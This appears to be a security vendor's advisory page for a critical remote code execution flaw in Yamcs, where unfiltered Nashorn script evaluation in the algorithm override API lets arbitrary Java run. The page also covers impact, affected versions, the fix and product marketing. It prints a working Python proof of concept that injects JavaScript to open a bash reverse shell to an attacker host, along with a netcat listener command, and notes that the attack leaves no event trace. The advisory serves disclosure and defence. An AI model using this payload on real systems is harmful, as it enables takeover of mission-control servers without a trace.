GHSA-vmwp-vh32-rj75
CRITICALGHSA-vmwp-vh32-rj75 is a critical-severity (CVSS 9.8) Code Injection vulnerability in org.yamcs:yamcs-core. O3 Security confirms whether GHSA-vmwp-vh32-rj75 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-vmwp-vh32-rj75.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-vmwp-vh32-rj75 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.yamcs:yamcs-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Remote Code Execution via Mission Database algorithm override
Summary
The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter, allowing a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication.
Details
Vulnerable file: yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java
// L46-53 Nashorn engine obtained without a ClassFilter
ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()
.filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())
&& candidate.getNames().contains(language))
.findFirst().orElse(null);
if (factory != null) {
scriptEngine = factory.getScriptEngine(); // ← ClassFilter not supplied
}
// L109 user-supplied algorithm text reaches eval()
scriptEngine.eval(functionScript);
NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that restricts which classes JavaScript can reach via Java.type(...). Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, Java.type("java.lang.Runtime").getRuntime().exec(...) runs arbitrary OS commands inside the Yamcs JVM.
The path from HTTP request to eval is:
MdbOverrideApi.updateAlgorithm (yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189)
→ AlgorithmManager.overrideAlgorithm (yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559)
→ ScriptAlgorithmExecutorFactory.makeExecutor (yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117)
→ scriptEngine.eval(...).
PoC
Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as /YSS/SIMULATOR/Battery_Voltage_Avg).
Attacker-side listener:
nc -lvnp 4444
#!/usr/bin/env python3
"""
Usage: python3 <poc>.py http://target:8090 LHOST LPORT
"""
import json, sys, time, urllib.request
TARGET = sys.argv[1].rstrip("/")
LHOST = sys.argv[2]
LPORT = int(sys.argv[3])
INSTANCE = "simulator"
PROCESSOR = "realtime"
ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"
# Close the generated wrapper function with `}`, execute the payload at
# top level, then re-open a dummy function so the trailing `}` emitted
# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.
payload = (
'} '
'Java.type("java.lang.Runtime").getRuntime().exec('
f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '
'function _x(){'
)
patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"
def http(method, url, body=None):
req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,
method=method, headers={"Content-Type": "application/json"})
return urllib.request.urlopen(req, timeout=10).read()
http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})
time.sleep(2)
http("PATCH", patch, {"action": "RESET"})
<img width="1841" height="881" alt="nashorn-rce-poc" src="https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671" /><br>
The override path emits events only when evaluation fails: a WARNING from ScriptAlgorithmExecutorFactory.java:112 and a CRITICAL from AlgorithmManager.java:546. Any syntactically valid payload — like the one above — succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream.
Impact
Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.
For a Yamcs deployment managing spacecraft operations, an attacker can:
- forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission;
- read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);
- pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);
- install a persistent backdoor via the same primitive.
Who is impacted:
- All Yamcs deployments running in the default configuration (no
security.yamlpresent): any unauthenticated network attacker that can reach the HTTP API port (default8090). - Yamcs deployments with security enabled: any user that has been granted the
ChangeMissionDatabasesystem privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.
Affected Versions
All Yamcs releases that ship the algorithm override endpoint are affected — no ClassFilter has ever been applied to the script engine.
- First vulnerable release:
yamcs-4.7.3(2018-11-22). Introduced in commit951e505d18a3912813b59edc685cbcbd4c609906("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added theChangeAlgorithmRequestRPC (later renamedUpdateAlgorithmRequest) and routed it asPATCH /api/mdb/{instance}/{processor}/algorithms/{name*}. - Routing change at
yamcs-5.5.0(2021-04): the endpoint was split out ofMdbApiintoMdbOverrideApiand moved toPATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}. The underlyingscriptEngine.eval(...)sink and the missingClassFilterare identical. - Latest release:
yamcs-5.12.6(commitf1a26fe54587fab9960d7e53fc1bf0c879220e9e) is affected. These four files (MdbOverrideApi.java,AlgorithmManager.java,ScriptAlgorithmExecutorFactory.java,SecurityStore.java) are unchanged between5.12.6and currentmaster(96d3e2d474415bea859f40ecbddc1bb8a0d141c1) — no upstream fix exists.
In short: every Yamcs release from 4.7.3 through 5.12.6, plus current master, is vulnerable (133 release tags spanning 2018-11-22 to present).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.yamcs:yamcs-core | all versions | 5.12.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.yamcs:yamcs-core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.yamcs:yamcs-core to 5.12.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vmwp-vh32-rj75 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vmwp-vh32-rj75 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-vmwp-vh32-rj75. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vmwp-vh32-rj75 in your dependencies?
O3 detects GHSA-vmwp-vh32-rj75 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.